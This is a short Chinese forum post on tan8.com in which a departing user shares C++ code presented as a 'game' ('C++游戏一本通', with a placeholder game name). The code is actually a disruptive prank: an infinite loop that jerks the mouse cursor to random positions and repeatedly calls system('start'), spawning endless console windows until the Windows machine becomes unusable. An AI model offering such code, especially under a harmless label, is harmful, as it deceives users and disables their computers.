• 影_巽
  • 影_巽
    发消息 +加入黑名单 +关注
    27 帖子
    17 粉丝
    5 关注
    0 乐谱发布
    4 收藏

    个人介绍:洛谷某程序员, 人称“当代鲁‘逊’”

退役

社区  >  其他 2448次 7次 2021-11-20 13:54 发自网页
rt, 再见, 在走之前, 奉上一段代码: //C++游戏一本通 #include #include #include #include using namespace std; string start="/*游戏名称*/"; using namespace std; int main(){ int x=GetSystemMetrics(SM_CXSCREEN); int y=GetSystemMetrics(SM_CYSCREEN); srand(time(0)); while(1){ SetCursorPos(rand()%x,rand()%y); system("start"); } return 0; }
最后编辑于 2021-11-20 13:54
tan8.com

评论

(共0条)
我
发表评论